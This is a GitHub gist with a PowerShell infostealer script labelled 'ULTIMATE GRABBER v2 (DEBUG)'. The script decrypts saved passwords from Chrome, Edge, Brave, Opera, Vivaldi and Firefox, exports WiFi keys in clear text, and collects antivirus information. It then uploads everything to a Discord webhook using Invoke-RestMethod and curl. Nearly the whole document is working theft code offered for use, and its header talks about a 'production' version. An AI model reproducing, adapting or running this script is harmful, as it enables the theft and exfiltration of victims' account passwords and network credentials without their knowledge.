Created
July 25, 2026 21:37
-
-
Save Gravity3432/029c9bd917964753eac712e6fca96d1c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG VERSION - prints every step to diagnose browser credential scraping. | |
| Once confirmed working, remove Write-Host lines for production. | |
| #> | |
| # ------------------------------------------------------------ | |
| # WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11) | |
| # ------------------------------------------------------------ | |
| Write-Host "[*] Loading WinSQLite3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class WinSQLite3 { | |
| const string d = "winsqlite3"; | |
| [DllImport(d,EntryPoint="sqlite3_open")] | |
| public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db); | |
| [DllImport(d,EntryPoint="sqlite3_prepare16_v2")] | |
| public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t); | |
| [DllImport(d,EntryPoint="sqlite3_step")] | |
| public static extern IntPtr Step(IntPtr stmt); | |
| [DllImport(d,EntryPoint="sqlite3_column_text16")] | |
| static extern IntPtr ColTxt16(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_bytes")] | |
| static extern int ColBytes(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_blob")] | |
| static extern IntPtr ColBlob(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_finalize")] | |
| public static extern IntPtr Finalize(IntPtr s); | |
| [DllImport(d,EntryPoint="sqlite3_close")] | |
| public static extern IntPtr Close(IntPtr db); | |
| public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));} | |
| public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;} | |
| } | |
| "@ | |
| Write-Host "[+] WinSQLite3 loaded OK" | |
| # ------------------------------------------------------------ | |
| # BCrypt AES-256-GCM | |
| # ------------------------------------------------------------ | |
| Write-Host "[*] Loading BCrypt AES-GCM..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;} | |
| [DllImport("bcrypt.dll")]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDestroyKey(IntPtr k); | |
| public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){ | |
| IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero; | |
| try{ | |
| if(BCryptOpenAlgorithmProvider(out ha,"AES",null,0)!=0)throw new Exception("alg"); | |
| byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM"); | |
| BCryptSetProperty(ha,"ChainingMode",g,g.Length,0); | |
| if(BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0)!=0)throw new Exception("key"); | |
| byte[]inp=new byte[ct.Length+tag.Length]; | |
| Array.Copy(ct,0,inp,0,ct.Length);Array.Copy(tag,0,inp,ct.Length,tag.Length); | |
| AI ai=new AI();ai.cbs=Marshal.SizeOf(typeof(AI));ai.dwv=1; | |
| GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned); | |
| ai.pn=nh.AddrOfPinnedObject();ai.cn=nonce.Length; | |
| ai.pt=th.AddrOfPinnedObject();ai.ct=tag.Length; | |
| byte[]o=new byte[ct.Length];int rs; | |
| if(BCryptDecrypt(hk,inp,inp.Length,ref ai,null,0,o,o.Length,out rs,0)!=0)throw new Exception("decrypt"); | |
| nh.Free();th.Free(); | |
| byte[]r=new byte[rs];Array.Copy(o,r,rs);return r; | |
| }finally{if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);} | |
| } | |
| } | |
| "@ | |
| Write-Host "[+] BCrypt AES-GCM loaded OK" | |
| # ------------------------------------------------------------ | |
| # Upload-Discord | |
| # ------------------------------------------------------------ | |
| function Upload-Discord { | |
| param([string]$file, [string]$text) | |
| $Body = @{ username = $env:username; content = $text } | |
| if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) } | |
| if ($file) { curl.exe -F "file1=@$file" $DiscordUrl } | |
| } | |
| # ------------------------------------------------------------ | |
| # Chromium password scraper | |
| # ------------------------------------------------------------ | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $results = @() | |
| Write-Host "[*] $BrowserName : scanning $UserDataPath" | |
| $localState = Join-Path $UserDataPath "Local State" | |
| if (-not (Test-Path $localState)) { | |
| Write-Host " [-] No Local State file at $localState" | |
| return $results | |
| } | |
| Write-Host " [+] Local State found" | |
| # Unlock AES master key | |
| try { | |
| $json = Get-Content $localState -Raw | ConvertFrom-Json | |
| $b64 = $json.os_crypt.encrypted_key | |
| if (-not $b64) { | |
| Write-Host " [-] No encrypted_key in Local State" | |
| return $results | |
| } | |
| $enc = [Convert]::FromBase64String($b64) | |
| $enc = $enc[5..($enc.Length - 1)] | |
| $aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| Write-Host " [+] AES key unlocked ($($aesKey.Length) bytes)" | |
| } catch { | |
| Write-Host " [-] DPAPI unprotect failed: $($_.Exception.Message)" | |
| return $results | |
| } | |
| # Find profile directories | |
| $profiles = @(Get-ChildItem $UserDataPath -Directory -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Name -like "Profile*" -or $_.Name -eq "Default" }) | |
| Write-Host " [*] Found $($profiles.Count) profile(s): $($profiles.Name -join ', ')" | |
| if ($profiles.Count -eq 0) { | |
| Write-Host " [-] No profiles found" | |
| return $results | |
| } | |
| foreach ($profile in $profiles) { | |
| $loginDb = Join-Path $profile.FullName "Login Data" | |
| Write-Host " [*] Checking $($profile.Name) : $loginDb" | |
| if (-not (Test-Path $loginDb)) { | |
| Write-Host " [-] Login Data not found" | |
| continue | |
| } | |
| $tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db" | |
| try { | |
| Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop | |
| Write-Host " [+] Copied to $tmpDb ($((Get-Item $tmpDb).Length) bytes)" | |
| $dbH = [IntPtr]::Zero | |
| $openRc = [WinSQLite3]::Open($tmpDb, [ref]$dbH) | |
| if ($openRc -ne 0) { | |
| Write-Host " [-] sqlite3_open failed with code $openRc" | |
| continue | |
| } | |
| Write-Host " [+] SQLite opened OK" | |
| $stmt = [IntPtr]::Zero | |
| $query = "SELECT origin_url, username_value, password_value FROM logins" | |
| $prepRc = [WinSQLite3]::Prepare2($dbH, $query, -1, [ref]$stmt, [IntPtr]::Zero) | |
| if ($prepRc -ne 0) { | |
| Write-Host " [-] sqlite3_prepare failed with code $prepRc" | |
| [WinSQLite3]::Close($dbH) | Out-Null; continue | |
| } | |
| $rowCount = 0 | |
| $decryptOk = 0 | |
| $decryptFail = 0 | |
| while (([WinSQLite3]::Step($stmt)) -eq 100) { | |
| $rowCount++ | |
| $url = [WinSQLite3]::ColStr($stmt, 0) | |
| $user = [WinSQLite3]::ColStr($stmt, 1) | |
| $passBlob = [WinSQLite3]::ColByt($stmt, 2) | |
| if (-not $passBlob -or $passBlob.Length -lt 3) { continue } | |
| $hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3) | |
| if ($hdr -eq 'v10' -or $hdr -eq 'v20') { | |
| try { | |
| $nonce = $passBlob[3..14] | |
| $ct = $passBlob[15..($passBlob.Length - 17)] | |
| $tag = $passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)] | |
| $pass = [Text.Encoding]::UTF8.GetString([BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag)) | |
| $decryptOk++ | |
| } catch { | |
| $pass = "(decrypt error: $($_.Exception.Message))" | |
| $decryptFail++ | |
| } | |
| } else { | |
| try { | |
| $pass = [Text.Encoding]::UTF8.GetString( | |
| [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) | |
| $decryptOk++ | |
| } catch { | |
| $pass = "(decrypt error: $($_.Exception.Message))" | |
| $decryptFail++ | |
| } | |
| } | |
| if ($url -and $pass) { | |
| $results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profile.Name;URL=$url;Username=$user;Password=$pass} | |
| } | |
| } | |
| Write-Host " [*] Rows: $rowCount | OK: $decryptOk | Fail: $decryptFail" | |
| [WinSQLite3]::Finalize($stmt) | Out-Null | |
| [WinSQLite3]::Close($dbH) | Out-Null | |
| } catch { | |
| Write-Host " [-] Exception: $($_.Exception.Message)" | |
| } | |
| finally { | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| } | |
| Write-Host " [*] $BrowserName : $($results.Count) credentials found" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # Firefox | |
| # ------------------------------------------------------------ | |
| function Get-FirefoxPasswords { | |
| $results = @() | |
| $ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles" | |
| Write-Host "[*] Firefox : looking at $ffProfiles" | |
| if (-not (Test-Path $ffProfiles)) { | |
| Write-Host " [-] No Firefox profiles directory" | |
| return $results | |
| } | |
| Write-Host "[*] Loading NSS3 P/Invoke..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| public static class NSS { | |
| [DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p); | |
| [DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n); | |
| [DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h); | |
| [StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;} | |
| delegate int NSS_InitD(string p); | |
| delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c); | |
| delegate int NSS_ShutdownD(); | |
| static IntPtr hn,hm; | |
| public static bool Init(string ff,string prof){ | |
| hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll"); | |
| if(hn==IntPtr.Zero)return false; | |
| NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD)); | |
| return init(prof)==0; | |
| } | |
| public static string Decrypt(string b64){ | |
| byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length); | |
| Marshal.Copy(d,0,dp,d.Length); | |
| SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length; | |
| IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.StructureToPtr(si,sp,false); | |
| IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0); | |
| SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD)); | |
| if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;} | |
| uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp); | |
| byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol); | |
| Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp); | |
| return Encoding.UTF8.GetString(r); | |
| } | |
| public static void Shutdown(){ | |
| if(hn!=IntPtr.Zero){ | |
| NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD)); | |
| sd();FreeLibrary(hn); | |
| } | |
| if(hm!=IntPtr.Zero)FreeLibrary(hm); | |
| } | |
| } | |
| "@ | Out-Null | |
| Write-Host "[+] NSS3 loaded OK" | |
| $ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox" | |
| if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" } | |
| if (-not (Test-Path $ffDir)) { | |
| Write-Host " [-] Firefox install dir not found" | |
| return $results | |
| } | |
| Write-Host " [+] Firefox install: $ffDir" | |
| foreach ($profDir in Get-ChildItem $ffProfiles -Directory) { | |
| $loginsJson = Join-Path $profDir.FullName "logins.json" | |
| $keyDb = Join-Path $profDir.FullName "key4.db" | |
| Write-Host " [*] Profile: $($profDir.Name)" | |
| if (-not (Test-Path $loginsJson)) { Write-Host " [-] No logins.json"; continue } | |
| if (-not (Test-Path $keyDb)) { Write-Host " [-] No key4.db"; continue } | |
| try { | |
| if (-not [NSS]::Init($ffDir, $profDir.FullName)) { | |
| Write-Host " [-] NSS_Init failed" | |
| continue | |
| } | |
| Write-Host " [+] NSS initialized" | |
| $logins = Get-Content $loginsJson -Raw | ConvertFrom-Json | |
| Write-Host " [*] $($logins.logins.Count) entries in logins.json" | |
| foreach ($l in $logins.logins) { | |
| try { | |
| $u = [NSS]::Decrypt($l.encryptedUsername) | |
| $p = [NSS]::Decrypt($l.encryptedPassword) | |
| $results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p} | |
| } catch { | |
| Write-Host " [-] Decrypt failed: $($_.Exception.Message)" | |
| } | |
| } | |
| Write-Host " [+] Decrypted $($results.Count) Firefox entries" | |
| [NSS]::Shutdown() | |
| } catch { | |
| Write-Host " [-] Exception: $($_.Exception.Message)" | |
| } | |
| } | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # WiFi | |
| # ------------------------------------------------------------ | |
| function Wifi { | |
| Write-Host "[*] Grabbing WiFi passwords..." | |
| $tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())" | |
| New-Item -Path $tmp -ItemType Directory -Force | Out-Null | |
| Set-Location $tmp; netsh wlan export profile key=clear | Out-Null | |
| $out = Join-Path $env:TEMP "wifi_passwords.txt" | |
| Select-String -Path *.xml -Pattern 'keyMaterial' | | |
| % { $_ -replace '', '' } | | |
| % { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } | | |
| % { $_ -replace '.xml:22:', '' } > $out | |
| Upload-Discord -file $out -text ":satellite: WiFi Passwords" | |
| Set-Location $env:TEMP | |
| Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue | |
| Remove-Item $out -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] WiFi done" | |
| } | |
| # ------------------------------------------------------------ | |
| # AV | |
| # ------------------------------------------------------------ | |
| function version-av { | |
| Write-Host "[*] Grabbing AV info..." | |
| $f = Join-Path $env:TEMP "av_info.txt" | |
| Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | | |
| Out-File -FilePath $f -Encoding utf8 | |
| Upload-Discord -file $f -text ":shield: AV Info" | |
| Remove-Item $f -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] AV done" | |
| } | |
| # ------------------------------------------------------------ | |
| # Browser orchestrator | |
| # ------------------------------------------------------------ | |
| function Get-BrowserPasswords { | |
| Write-Host "[*] === BROWSER CREDENTIAL SCRAPER ===" | |
| $all = @() | |
| $targets = @( | |
| @{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"} | |
| @{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"} | |
| @{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"} | |
| @{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"} | |
| @{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"} | |
| @{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"} | |
| @{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"} | |
| @{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"} | |
| ) | |
| foreach ($t in $targets) { | |
| if (Test-Path $t.P) { | |
| Write-Host "[*] Found $($t.N) at $($t.P)" | |
| $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P | |
| } else { | |
| Write-Host "[-] $($t.N) not found (skipping)" | |
| } | |
| } | |
| $all += Get-FirefoxPasswords | |
| Write-Host "[*] TOTAL credentials: $($all.Count)" | |
| Write-Host "[*] === END BROWSER SCRAPER ===" | |
| if ($all.Count -eq 0) { | |
| Upload-Discord -text ":key: Browser Passwords : No credentials found." | |
| return | |
| } | |
| $tmp = Join-Path $env:TEMP "browser_passwords.txt" | |
| $all | Sort-Object Browser, URL | % { | |
| "$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)" | |
| } | Out-File $tmp -Encoding utf8 | |
| $browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', ' | |
| Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)" | |
| Remove-Item $tmp -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| # RUN | |
| # ------------------------------------------------------------ | |
| Write-Host "" | |
| Write-Host "==========================================" | |
| Write-Host " ULTIMATE GRABBER v2 (DEBUG)" | |
| Write-Host " User: $env:USERNAME" | |
| Write-Host " Host: $env:COMPUTERNAME" | |
| Write-Host "==========================================" | |
| Write-Host "" | |
| version-av | |
| Wifi | |
| Get-BrowserPasswords |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment